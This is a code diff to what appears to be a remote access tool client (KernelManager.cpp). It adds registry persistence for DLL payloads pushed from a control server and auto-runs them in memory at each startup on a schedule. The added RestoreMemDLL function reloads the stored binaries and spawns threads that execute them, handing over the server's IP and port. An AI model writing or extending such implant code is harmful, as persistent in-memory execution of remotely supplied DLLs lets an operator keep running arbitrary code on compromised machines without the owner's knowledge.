Feature: DLL executing parameters persistence and DLL auto-run

client/KernelManager.cpp

@@ -21,6 +21,7 @@
 #include "common/file_upload.h"
 #include "common/DateVerify.h"
 #include "common/LANChecker.h"
+#include "common/scheduler.h"
 extern "C" {
 #include "ServiceWrapper.h"
 }
@@ -75,6 +76,11 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
     m_hKeyboard = kb;
     // C2C 初始化
     if (conn) m_MyClientID = conn->clientID;
+    // 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
+    int n = RestoreMemDLL();
+    if (n) {
+        Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
+    }
 }
 
 BOOL IsThreadsRunning(ThreadInfo* threads, int count)
@@ -623,10 +629,93 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
     return "";
 }
 
+int CKernelManager::RestoreMemDLL() {
+    iniFile cfg(CLIENT_PATH);
+    binFile bin(CLIENT_PATH);
+
+    // 枚举所有以 .md5 结尾的值名称
+    auto md5Keys = cfg.EnumValues("settings", ".md5");
+    int count = 0;
+
+    for (const auto& key : md5Keys) {
+        // 获取 MD5 值
+        std::string md5 = cfg.GetStr("settings", key);
+        if (md5.empty())
+            continue;
+
+        // 从 "xxx.md5" 提取 "xxx"
+        std::string name = key.substr(0, key.size() - 4);
+
+        // 获取对应的二进制数据
+        std::string binData = bin.GetStr("settings", name + ".bin");
+        if (binData.empty())
+            continue;
+
+        // 解析 DllExecuteInfo，提取 DLL 数据
+        const int sz = 1 + sizeof(DllExecuteInfo);
+        if (binData.size() < sz)
+            continue;
+
+        const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
+        if (binData.size() < sz + info->Size)
+            continue;
+
+        // 恢复到 m_MemDLL
+        const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz);
+        m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
+        Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
+        count++;
+
+        // 检查是否为启动执行模式
+        if (info->Schedule.Mode == SCH_MODE_STARTUP) {
+            // 复制一份用于检查和执行
+            DllExecuteInfo infoCopy = *info;
+            ScheduleParams& sch = infoCopy.Schedule;
+
+            // 从注册表读取运行时状态（LastRunTime 和 CurrentCount）
+            std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun");
+            std::string countStr = cfg.GetStr("settings", name + ".count");
+            if (!lastRunStr.empty()) {
+                sch.LastRunTime = std::stoull(lastRunStr);
+            }
+            if (!countStr.empty()) {
+                sch.CurrentCount = (unsigned char)std::stoi(countStr);
+            }
+
+            // 检查是否应该执行
+            if (YamaTaskEngine::ShouldExecute(&sch)) {
+                Mprintf("Auto-start DLL on startup: %s\n", name.c_str());
+                char* buf = info->InfoSize > sizeof(DllExecuteInfo) ? new char[400] : 0;
+                if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
+                PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
+                BYTE* data = m_MemDLL[md5].data();
+                CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
+
+                // 更新注册表中的运行时状态
+                // 如果有时间间隔限制，更新 LastRunTime
+                if (sch.Config.Startup.Interval > 0) {
+                    YamaTaskEngine::MarkExecuted(&sch);
+                    cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
+                }
+                // 如果有次数限制，更新 CurrentCount
+                if (sch.MaxCount > 0) {
+                    if (sch.Config.Startup.Interval == 0) {
+                        // 如果没更新过 LastRunTime，需要单独增加计数
+                        sch.CurrentCount++;
+                    }
+                    cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
+                }
+            }
+        }
+    }
+
+    return count;
+}
+
 template<typename T = DllExecuteInfo>
 BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
 {
-    static std::map<std::string, std::vector<BYTE>> m_MemDLL;
+    std::map<std::string, std::vector<BYTE>> &m_MemDLL(This->m_MemDLL);
     const int sz = 1 + sizeof(T);
     if (ulLength < sz) return FALSE;
     const T* info = (T*)(szBuffer + 1);
@@ -649,6 +738,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
     }
     BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
     if (info->Size == ulLength - sz) {
+        // 收到完整 DLL 数据，保存到注册表
         if (md5[0]) {
             m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
             iniFile cfg(CLIENT_PATH);
@@ -660,7 +750,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
         }
         data = szBuffer + sz;
     }
-    if (data) {
+    else if (data) {
+        // 只收到参数（无 DLL 数据），更新 .bin 中的参数部分
+        binFile bin(CLIENT_PATH);
+        std::string binData = bin.GetStr("settings", info->Name + std::string(".bin"));
+        if (binData.size() >= sz) {
+            // 替换 .bin 中的参数部分（跳过命令字节）
+            memcpy(&binData[1], szBuffer + 1, sizeof(T));
+            bin.SetStr("settings", info->Name + std::string(".bin"), binData);
+            Mprintf("Update DLL params in registry: %s\n", info->Name);
+        }
+    }
+    if (data && SCH_MODE_NONE == info->Schedule.Mode) {
         PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
         CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
         Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);